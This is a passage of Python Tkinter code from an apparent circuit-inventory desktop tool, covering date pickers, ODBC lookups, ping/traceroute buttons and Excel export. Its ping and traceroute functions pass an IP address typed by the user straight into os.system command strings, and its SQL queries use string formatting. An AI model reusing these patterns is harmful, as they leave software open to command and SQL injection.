self.CircuitsInstalledDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsInstalledDateName) > 0):\r\n if (self.CircuitsTableDateInstalledArray[curItem] != 0):\r\n self.CircuitsInstalledData['day_selected'] = self.CircuitsTableDayInstalledArray[curItem]\r\n self.CircuitsInstalledData['month_selected'] = self.CircuitsTableMonthInstalledArray[curItem]\r\n self.CircuitsInstalledData['year_selected'] = self.CircuitsTableYearInstalledArray[curItem]\r\n self.cal_Installed = Class_Calendar(self.CircuitsCalendarInstalledDateWindow, self.CircuitsInstalledData)\r\n self.cal_Installed.setup()\r\n #--------------------- Installed Date Calendar ------------------------------\r\n\r\n #--------------------- Activated Date Calendar ------------------------------\r\n def on_CircuitsActivatedDateWindow_quit(self):\r\n self.CircuitsActivatedData = self.cal_Activated.kill_and_save()\r\n self.CircuitsCalendarActivatedDateExist = False\r\n self.CircuitsCalendarActivatedDateWindow.destroy()\r\n if (len(self.CircuitsActivatedData) > 0):\r\n self.CircuitsActivatedDate = str(self.CircuitsActivatedData['month_selected']) + '/' + str(self.CircuitsActivatedData['day_selected']) + '/' + str(self.CircuitsActivatedData['year_selected'])\r\n #print (\"=> Day, Month, Year\")\r\n #print (self.CircuitsActivatedData['day_selected'])\r\n #print (self.CircuitsActivatedData['month_selected'])\r\n #print (self.CircuitsActivatedData['year_selected'])\r\n #print (self.data['day_name'])\r\n #print (self.data['month_name'])\r\n else:\r\n #print (\"no date was selected\")\r\n self.CircuitsActivatedDate = \"\"\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n self.CircuitsActivatedDateFrameEntry.insert(0,self.CircuitsActivatedDate)\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n \r\n def Call_Button_Activated_Date(self):\r\n if not (self.CircuitsCalendarActivatedDateExist):\r\n self.CircuitsCalendarActivatedDateExist = True\r\n self.CircuitsCalendarActivatedDateWindow = Tk()\r\n self.CircuitsCalendarActivatedDateWindow.title(\"Activated\")\r\n self.CircuitsCalendarActivatedDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_CircuitsActivatedDateWindow_quit)\r\n self.CircuitsCalendarActivatedDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n self.CircuitsActivatedData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsActivatedDateName = self.CircuitsActivatedDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsActivatedDateName) > 0):\r\n if (self.CircuitsTableDateActivatedArray[curItem] != 0):\r\n self.CircuitsActivatedData['day_selected'] = self.CircuitsTableDayActivatedArray[curItem]\r\n self.CircuitsActivatedData['month_selected'] = self.CircuitsTableMonthActivatedArray[curItem]\r\n self.CircuitsActivatedData['year_selected'] = self.CircuitsTableYearActivatedArray[curItem]\r\n #print (\"Day, Month, Year\")\r\n #print (self.CircuitsActivatedData['day_selected'])\r\n #print (self.CircuitsActivatedData['month_selected'])\r\n #print (self.CircuitsActivatedData['year_selected'])\r\n \r\n self.cal_Activated = Class_Calendar(self.CircuitsCalendarActivatedDateWindow, self.CircuitsActivatedData)\r\n self.cal_Activated.setup()\r\n #--------------------- Activated Date Calendar ------------------------------\r\n\r\n #--------------------- Disconnected Date Calendar ------------------------------\r\n def on_CircuitsDisconnectedDateWindow_quit(self):\r\n self.CircuitsDisconnectedData = self.cal_Disconnected.kill_and_save()\r\n self.CircuitsCalendarDisconnectedDateExist = False\r\n self.CircuitsCalendarDisconnectedDateWindow.destroy()\r\n if (len(self.CircuitsDisconnectedData) > 0):\r\n self.CircuitsDisconnectedDate = str(self.CircuitsDisconnectedData['month_selected']) + '/' + str(self.CircuitsDisconnectedData['day_selected']) + '/' + str(self.CircuitsDisconnectedData['year_selected'])\r\n #print (self.data['day_selected'])\r\n #print (self.data['month_selected'])\r\n #print (self.data['year_selected'])\r\n #print (self.data['day_name'])\r\n #print (self.data['month_name'])\r\n else:\r\n #print (\"no date was selected\")\r\n self.CircuitsDisconnectedDate = \"\"\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n self.CircuitsDisconnectedDateFrameEntry.insert(0,self.CircuitsDisconnectedDate)\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n \r\n def Call_Button_Disconnected_Date(self):\r\n if not (self.CircuitsCalendarDisconnectedDateExist):\r\n self.CircuitsCalendarDisconnectedDateExist = True\r\n self.CircuitsCalendarDisconnectedDateWindow = Tk()\r\n self.CircuitsCalendarDisconnectedDateWindow.title(\"Disconnected\")\r\n self.CircuitsCalendarDisconnectedDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_CircuitsDisconnectedDateWindow_quit)\r\n self.CircuitsCalendarDisconnectedDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n self.CircuitsDisconnectedData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsDisconnectedDateName = self.CircuitsDisconnectedDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsDisconnectedDateName) > 0):\r\n if (self.CircuitsTableDisconectedDateArray[curItem] != 0):\r\n self.CircuitsDisconnectedData['day_selected'] = self.CircuitsTableDayDisconectedArray[curItem]\r\n self.CircuitsDisconnectedData['month_selected'] = self.CircuitsTableMonthDisconectedArray[curItem]\r\n self.CircuitsDisconnectedData['year_selected'] = self.CircuitsTableYearDisconectedArray[curItem]\r\n self.cal_Disconnected = Class_Calendar(self.CircuitsCalendarDisconnectedDateWindow, self.CircuitsDisconnectedData)\r\n self.cal_Disconnected.setup()\r\n #--------------------- Disconnected Date Calendar ------------------------------\r\n\r\n #--------------------- Expiration Date Calendar ------------------------------\r\n def on_CircuitsExpirationDateWindow_quit(self):\r\n self.CircuitsExpirationData = self.cal_Expiration.kill_and_save()\r\n self.CircuitsCalendarExpirationDateExist = False\r\n self.CircuitsCalendarExpirationDateWindow.destroy()\r\n if (len(self.CircuitsExpirationData) > 0):\r\n self.CircuitsExpirationDate = str(self.CircuitsExpirationData['month_selected']) + '/' + str(self.CircuitsExpirationData['day_selected']) + '/' + str(self.CircuitsExpirationData['year_selected'])\r\n #print (self.data['day_selected'])\r\n #print (self.data['month_selected'])\r\n #print (self.data['year_selected'])\r\n #print (self.data['day_name'])\r\n #print (self.data['month_name'])\r\n else:\r\n #print (\"no date was selected\")\r\n self.CircuitsExpirationDate = \"\"\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'normal'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n self.CircuitsExpirationDateFrameEntry.insert(0,self.CircuitsExpirationDate)\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n \r\n def Call_Button_Expiration_Date(self):\r\n if not (self.CircuitsCalendarExpirationDateExist):\r\n self.CircuitsCalendarExpirationDateExist = True\r\n self.CircuitsCalendarExpirationDateWindow = Tk()\r\n self.CircuitsCalendarExpirationDateWindow.title(\"Expiration\")\r\n self.CircuitsCalendarExpirationDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_CircuitsExpirationDateWindow_quit)\r\n self.CircuitsCalendarExpirationDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n self.CircuitsExpirationData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsExpirationDateName = self.CircuitsExpirationDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsExpirationDateName) > 0):\r\n if (self.CircuitsTableExpirationDateArray[curItem] != 0):\r\n self.CircuitsExpirationData['day_selected'] = self.CircuitsTableDayExpirationArray[curItem]\r\n self.CircuitsExpirationData['month_selected'] = self.CircuitsTableMonthExpirationArray[curItem]\r\n self.CircuitsExpirationData['year_selected'] = self.CircuitsTableYearExpirationArray[curItem]\r\n self.cal_Expiration = Class_Calendar(self.CircuitsCalendarExpirationDateWindow, self.CircuitsExpirationData)\r\n self.cal_Expiration.setup()\r\n #--------------------- Expiration Date Calendar ------------------------------\r\n\r\n\r\n def on_Circuits_type_combo_changed(self,event):\r\n #print (\".\")\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n #self.CircuitsTypeVendorIDArray\r\n #self.CircuitComboBoxTypeID\r\n sql = \"\"\"\r\n SELECT * FROM Circuits_Model\r\n WHERE Vendor_ID = '%s' AND Circuits_Type_ID = '%s'\r\n ORDER BY Circuits_Model_Name ASC\r\n \"\"\" % (self.CircuitsTypeVendorIDArray[self.CircuitComboBoxTypeID.current()],\r\n self.CircuitTypeIDArray[self.CircuitComboBoxTypeID.current()])\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.CircuitPortSpeedIDArray = []\r\n self.CircuitPortSpeedNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CircuitPortSpeedIDArray.append(self.db.results[i][0].strip())\r\n self.CircuitPortSpeedNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.CircuitsComboBoxPortSpeed['values'] = self.CircuitPortSpeedNameArray\r\n if (len(self.CircuitPortSpeedNameArray)== 0):\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED ######\r\n self.Is_Get_Type_and_Model = False\r\n else:\r\n self.CircuitsComboBoxPortSpeed['state'] = 'readonly'\r\n self.CircuitsComboBoxPortSpeed.current(0)\r\n #self.CircuitComboBoxTypeID.set(\"\")\r\n self.Is_Get_Type_and_Model = True\r\n else:\r\n sql = \"\"\"\r\n SELECT * FROM Circuits_Model\r\n WHERE Vendor_ID = '%s'\r\n \"\"\" % ('UNKNOWN')\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.CircuitPortSpeedIDArray = []\r\n self.CircuitPortSpeedNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CircuitPortSpeedIDArray.append(self.db.results[i][0].strip())\r\n self.CircuitPortSpeedNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.CircuitsComboBoxPortSpeed['values'] = self.CircuitPortSpeedNameArray\r\n if (len(self.CircuitPortSpeedNameArray)== 0):\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED ########\r\n self.Is_Get_Type_and_Model = False\r\n else:\r\n self.CircuitsComboBoxPortSpeed['state'] = 'readonly'\r\n self.CircuitsComboBoxPortSpeed.current(0)\r\n #self.CircuitComboBoxTypeID.set(\"\")\r\n self.Is_Get_Type_and_Model = True\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found for Circuits Model') \r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n def Get_Type_PortSpeed_and_Satus(self):\r\n #print (\"\")\r\n # self.CircuitComboBoxTypeID\r\n # self.CircuitsComboBoxPortSpeed\r\n # self.CircuitsComboBoxStatus\r\n self.Is_Get_Type_and_Model = False\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Type\r\n sql = \"\"\"\r\n SELECT * FROM Circuit_Type\r\n ORDER BY Description ASC\r\n \"\"\"\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.CircuitTypeIDArray = []\r\n self.CircuitTypeNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CircuitTypeIDArray.append(self.db.results[i][0].strip())\r\n self.CircuitTypeNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.CircuitComboBoxTypeID['values'] = self.CircuitTypeNameArray\r\n if (len(self.CircuitTypeNameArray)== 0):\r\n self.CircuitComboBoxTypeID['state'] = DISABLED\r\n self.Is_Get_Type_and_Model = False\r\n else:\r\n self.CircuitComboBoxTypeID['state'] = DISABLED #'readonly'\r\n self.CircuitComboBoxTypeID.current(0)\r\n #self.CircuitComboBoxTypeID.set(\"\")\r\n self.Is_Get_Type_and_Model = True\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found for Circuits Type')\r\n\r\n # SQL Querry to the Port Speed\r\n sql = \"\"\"\r\n SELECT * FROM PORT_SPEED\r\n ORDER BY Description ASC\r\n \"\"\"\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.CircuitPortSpeedIDArray = []\r\n self.CircuitPortSpeedNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CircuitPortSpeedIDArray.append(self.db.results[i][0].strip())\r\n self.CircuitPortSpeedNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.CircuitsComboBoxPortSpeed['values'] = self.CircuitPortSpeedNameArray\r\n if (len(self.CircuitPortSpeedNameArray)== 0):\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED\r\n self.Is_Get_Type_and_Model = False\r\n else:\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED #'readonly'\r\n self.CircuitsComboBoxPortSpeed.current(0)\r\n #self.CircuitComboBoxTypeID.set(\"\")\r\n self.Is_Get_Type_and_Model = True\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found for Port Speed')\r\n\r\n # SQL Querry to the Carrier\r\n sql = \"\"\"\r\n SELECT * FROM CARRIER\r\n ORDER BY Description ASC\r\n \"\"\"\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.CircuitCarrierIDArray = []\r\n self.CircuitCarrierNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CircuitCarrierIDArray.append(self.db.results[i][0].strip())\r\n self.CircuitCarrierNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.CircuitComboBoxCarrier['values'] = self.CircuitCarrierNameArray\r\n if (len(self.CircuitCarrierNameArray)== 0):\r\n self.CircuitComboBoxCarrier['state'] = DISABLED\r\n self.Is_Get_Type_and_Model = False\r\n else:\r\n self.CircuitComboBoxCarrier['state'] = DISABLED #'readonly'\r\n self.CircuitComboBoxCarrier.current(0)\r\n #self.CircuitComboBoxTypeID.set(\"\")\r\n self.Is_Get_Type_and_Model = True\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found for Carrier')\r\n\r\n\r\n\r\n\r\n \r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n # ---- Status ----\r\n self.CircuitstatusValues = ['Active','In Process','Research','Billed','Inactive']\r\n self.CircuitsComboBoxStatus['values'] = self.CircuitstatusValues\r\n self.CircuitsComboBoxStatus['state'] = DISABLED\r\n self.CircuitsComboBoxStatus.current(0)\r\n\r\n # ---- Term ----\r\n self.CircuitTermValues = ['Days','Months','Years']\r\n self.CircuitComboBoxTerm['values'] = self.CircuitTermValues\r\n self.CircuitComboBoxTerm['state'] = DISABLED\r\n self.CircuitComboBoxTerm.current(0)\r\n\r\n def On_Run_Traceroute(self,ip):\r\n #print (\"PING.....\")\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','TRACEROUTE Button'] \r\n Logging.Log(Parameter) \r\n if (len(ip) > 6):\r\n '''\r\n import os\r\n if os.system(\"ping -c 1 google.com\") == 0:\r\n ... print \"host appears to be up\"\r\n '''\r\n cmd = (\"tracert -d -w 500 \" + ip)\r\n os.system(cmd)\r\n #C:\\Users\\rod90731\\Downloads>\r\n cmd = (\"tracert -d -w 500 \" + ip + \" > C:\\\\users\\\\\" + self.Username + \"\\\\Downloads\\\\traceroute-\" + ip + \".txt\")\r\n os.system(cmd)\r\n mbox.showwarning(master=self.CircuitsFrame,title='Traceroute',\r\n message = \"The Traceroute output was saved at: \\n\" +\r\n \"C:\\\\users\\\\\" + self.Username + \"\\\\Downloads\\\\traceroute-\" + ip + \".txt\")\r\n\r\n\r\n def On_Traceroute(self,ip):\r\n try:\r\n self.thread = Thread(target=self.On_Run_Traceroute, args=(ip,))\r\n self.thread.daemon=True\r\n self.thread.start()\r\n except(KeyboardInterrupt, SystemExit):\r\n sys.exit(\"Interrupted by ctrl+c\\n\")\r\n\r\n def On_Run_Ping(self,ip,size):\r\n #print (\"PING.....\")\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING Button'] \r\n Logging.Log(Parameter) \r\n if (len(ip) > 6):\r\n '''\r\n import os\r\n if os.system(\"ping -c 1 google.com\") == 0:\r\n ... print \"host appears to be up\"\r\n '''\r\n cmd = (\"ping \" + ip + \" -l \"+size+\" -w 2 -t\")\r\n os.system(cmd)\r\n\r\n def On_Ping(self,ip,size):\r\n try:\r\n self.thread = Thread(target=self.On_Run_Ping, args=(ip,size,))\r\n self.thread.daemon=True\r\n self.thread.start()\r\n except(KeyboardInterrupt, SystemExit):\r\n sys.exit(\"Interrupted by ctrl+c\\n\")\r\n \r\n def Get_CE_IPAddress(self,event):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING CE 64 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitCEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'64')\r\n\r\n def Call_Button_PingCE64(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING CE 64 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitCEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'64')\r\n\r\n def Call_Button_PingCE1500(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING CE 1500 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitCEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'1500')\r\n\r\n def Call_Button_TracerouteCE(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','TRACEROUTE CE Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitCEIPAddressFrameEntry.get()\r\n self.On_Traceroute(ip)\r\n\r\n def Get_PE_IPAddress(self,event):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING PE 64 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitPEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'64')\r\n\r\n def Call_Button_PingPE64(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING PE 64 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitPEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'64')\r\n\r\n def Call_Button_PingPE1500(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','PING PE 1500 Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitPEIPAddressFrameEntry.get()\r\n self.On_Ping(ip,'1500')\r\n\r\n def Call_Button_TraceroutePE(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','TRACEROUTE PE Button'] \r\n Logging.Log(Parameter) \r\n ip = self.CircuitPEIPAddressFrameEntry.get()\r\n self.On_Traceroute(ip) \r\n\r\n def Call_Button_Carriers(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','Carriers Button'] \r\n Logging.Log(Parameter)\r\n Carrier.Display_Carrier_Window()\r\n #mbox.showerror(master=self.CircuitsFrame,title='Under Construction',\r\n # message = '... Comming Soon...')\r\n \r\n def Call_Button_LocalPointOfContacts(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','Local POC Button'] \r\n Logging.Log(Parameter) \r\n self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()] \r\n Location = []\r\n Location = [self.CountryID, self.RegionID, self.FacilityID, self.SitesID]\r\n LocalPointOfContacts = Class_LocalPointOfContacts(ODBC_DSN_name,Windows_Scaling,Location)\r\n LocalPointOfContacts.Display_LocalPointOfContacts_Window()\r\n\r\n def Call_Button_Devices(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','Devices Button'] \r\n Logging.Log(Parameter) \r\n self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()] \r\n Location = []\r\n Location = [self.CountryID, self.RegionID, self.FacilityID, self.SitesID]\r\n Device = Class_Device(ODBC_DSN_name,Windows_Scaling,Location)\r\n Device.Display_Device_Window()\r\n\r\n\r\n def Call_Save_As(self):\r\n #self.data_ready = True \r\n if (self.data_ready):\r\n #print (\"Save as\")\r\n input_file_name = tkinter.filedialog.asksaveasfilename(defaultextension=\".xlsx\", filetypes=[(\"Excel 2010 Documents\", \"*.xlsx\"),(\"All Files\", \"*.*\")])\r\n if input_file_name != \"\":\r\n self.file_name = input_file_name\r\n ExcellFile = Class_SaveAs(ODBC_DSN_name,Windows_Scaling,self.file_name,self.version)\r\n Tab0 = \"Circuit List\"\r\n Tabs = [Tab0]\r\n ExcellFile.Call_Write_to_File(Tabs)\r\n Row = 2 # 3\r\n Column = 1 # A\r\n ExcellFile.Add_DataToWorksheet(self.circuitsTableColumns,Row,Column,Tab0,\"Fill\",lightsalmon_1,14,'Bold') #<--- Columns\r\n Row = 3\r\n i = 0\r\n while (i < len(self.results)): #<------ Data for the Columns\r\n num = i + 1\r\n item = self.results[i]\r\n ExcellFile.Add_DataToWorksheet(item,Row,Column,Tab0,\"No-Fill\",lightsalmon_1,12,'No-Bold')\r\n i = i + 1\r\n Row = Row + 1\r\n if (ExcellFile.Save_File()):\r\n mbox.showinfo(master=self.CircuitsFrame,title='Circuits',\r\n message = '!!! The File was saved !!!')\r\n self.CircuitsWindow.title(\"Circuits File: [\"+self.file_name+\"] SAVED\") #<---- Window Name Change\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','SAVE AS'] \r\n Logging.Log(Parameter)\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The File was not saved, Perhaps It is already open ***')\r\n\r\n\r\n\r\n def Display_Circuits_Window(self): \r\n if not self.CircuitsWindowExist:\r\n # Set up the Window\r\n self.CircuitsWindowExist = True\r\n self.CircuitsWindow = Tk()\r\n self.CircuitsWindow.geometry('1350x820+350+70')\r\n self.CircuitsWindow.title(\"Circuits\")\r\n self.CircuitsWindow.protocol(\"WM_DELETE_WINDOW\", self.on_CircuitsWindow_quit)\r\n self.CircuitsWindow.call('tk', 'scaling', Windows_Scaling)\r\n CircuitsLabel = Label(self.CircuitsWindow,text=\"Helvetica\", font=(\"Helvetica\", 19))\r\n CircuitsLabel[\"text\"] = \"Circuits\"\r\n CircuitsLabel.pack()\r\n\r\n self.data_ready = False\r\n #------------------ MENU ----------------------------------------------------------\r\n menubar = Menu(self.CircuitsWindow)\r\n filemenu = Menu(menubar, tearoff=0)\r\n menubar.add_cascade(label=\"File\", menu=filemenu)\r\n if Is_SaveAs_Available:\r\n filemenu.add_command(label=\"Save As\", command=self.Call_Save_As)\r\n filemenu.add_separator()\r\n filemenu.add_command(label=\"Exit\", command=self.on_CircuitsWindow_quit)\r\n self.CircuitsWindow.config(menu=menubar)\r\n #------------------ MENU ----------------------------------------------------------\r\n\r\n \r\n # Setup Frame\r\n self.CircuitsFrame = Frame(self.CircuitsWindow)\r\n self.CircuitsFrame.pack(side=TOP, fill=BOTH, expand=Y)\r\n\r\n # set frame resizing priorities\r\n self.CircuitsFrame.rowconfigure(0, weight=1)\r\n self.CircuitsFrame.columnconfigure(0, weight=1)\r\n\r\n if self.db.Connect():\r\n\r\n # Setup Buttons\r\n if (Is_Country_Available):\r\n self.ButtonCountryAdd = Button(self.CircuitsFrame, text = '+ Country', command = self.Display_Country_Window, state=ACTIVE)\r\n self.ButtonCountryAdd.place(x = 450, y = 8, width=75, height=24)\r\n\r\n self.ButtonCountryRefresh = Button(self.CircuitsFrame, text = 'Refresh', command = self.on_Country_Table_Refresh, state=ACTIVE)\r\n self.ButtonCountryRefresh.place(x = 550, y = 8, width=75, height=24)\r\n\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd = Button(self.CircuitsFrame, text = '+ Region', command = self.Display_Region_Window, state=DISABLED)\r\n self.ButtonRegionAdd.place(x = 450, y = 38, width=75, height=24)\r\n\r\n self.ButtonRegionRefresh = Button(self.CircuitsFrame, text = 'Refresh', command = self.on_Region_Table_Refresh, state=DISABLED)\r\n self.ButtonRegionRefresh.place(x = 550, y = 38, width=75, height=24)\r\n\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd = Button(self.CircuitsFrame, text = '+ Facility', command = self.Display_Facility_Window, state=DISABLED)\r\n self.ButtonFacilityAdd.place(x = 450, y = 68, width=75, height=24)\r\n\r\n self.ButtonFacilityRefresh = Button(self.CircuitsFrame, text = 'Refresh', command = self.on_Facility_Table_Refresh, state=DISABLED)\r\n self.ButtonFacilityRefresh.place(x = 550, y = 68, width=75, height=24)\r\n\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd = Button(self.CircuitsFrame, text = '+ Site', command = self.Display_Sites_Window, state=DISABLED)\r\n self.ButtonSitesAdd.place(x = 450, y = 98, width=75, height=24)\r\n\r\n self.ButtonSitesRefresh = Button(self.CircuitsFrame, text = 'Refresh', command = self.on_Sites_Table_Refresh, state=DISABLED)\r\n self.ButtonSitesRefresh.place(x = 550, y = 98, width=75, height=24)\r\n\r\n\r\n self.ButtonCircuitsAdd = Button(self.CircuitsFrame, text = 'Add', command = self.Call_Button_Circuits_Add, state=DISABLED)\r\n self.ButtonCircuitsAdd.place(x = 450, y = 128, width=75, height=25)\r\n\r\n self.ButtonCircuitsEdit = Button(self.CircuitsFrame, text = 'Edit', command = self.Call_Button_Circuits_Edit, state=DISABLED)\r\n self.ButtonCircuitsEdit.place(x = 550, y = 128, width=75, height=25)\r\n\r\n self.ButtonCircuitsRemove = Button(self.CircuitsFrame, text = 'Remove', command = self.Call_Button_Circuits_Remove, state=DISABLED)\r\n self.ButtonCircuitsRemove.place(x = 650, y = 128, width=75, height=25)\r\n\r\n self.ButtonCircuitsOK = Button(self.CircuitsFrame, text = 'OK / UPDATE', command = self.Call_Button_Circuits_OK, state=DISABLED)\r\n self.ButtonCircuitsOK.place(x = 750, y = 128, width=100, height=25)\r\n\r\n self.ButtonCircuitsCancel = Button(self.CircuitsFrame, text = 'Cancel', command = self.Call_Button_Circuits_Cancel, state=DISABLED)\r\n self.ButtonCircuitsCancel.place(x = 875, y = 128, width=75, height=25)\r\n\r\n # Utilities Buttons\r\n #self.ButtonCircuitDevice = Button(self.CircuitsFrame, text = 'Devices', command = self.Call_Button_Devices, state=DISABLED)\r\n #self.ButtonCircuitDevice.place(x = 750, y = 8, width=100, height=25)\r\n\r\n self.ButtonDeviceLocalPointOfContacts = Button(self.CircuitsFrame, text = 'Local POC', command = self.Call_Button_LocalPointOfContacts, state=DISABLED)\r\n self.ButtonDeviceLocalPointOfContacts.place(x = 638, y = 8, width=100, height=25)\r\n\r\n self.ButtonDeviceCircuits = Button(self.CircuitsFrame, text = 'Carriers', command = self.Call_Button_Carriers, state=DISABLED)\r\n self.ButtonDeviceCircuits.place(x = 750, y = 8, width=100, height=25)\r\n\r\n self.ButtonDevicePingPE64 = Button(self.CircuitsFrame, text = 'Ping PE 64', command = self.Call_Button_PingPE64, state=DISABLED)\r\n self.ButtonDevicePingPE64.place(x = 638, y = 38, width=100, height=25)\r\n\r\n self.ButtonDevicePingCE64 = Button(self.CircuitsFrame, text = 'Ping CE 64', command = self.Call_Button_PingCE64, state=DISABLED)\r\n self.ButtonDevicePingCE64.place(x = 750, y = 38, width=100, height=25)\r\n\r\n self.ButtonDevicePingPE1500 = Button(self.CircuitsFrame, text = 'Ping PE 1500', command = self.Call_Button_PingPE1500, state=DISABLED)\r\n self.ButtonDevicePingPE1500.place(x = 638, y = 68, width=100, height=25)\r\n\r\n self.ButtonDevicePingCE1500 = Button(self.CircuitsFrame, text = 'Ping CE 1500', command = self.Call_Button_PingCE1500, state=DISABLED)\r\n self.ButtonDevicePingCE1500.place(x = 750, y = 68, width=100, height=25)\r\n\r\n self.ButtonDeviceTraceroutePE = 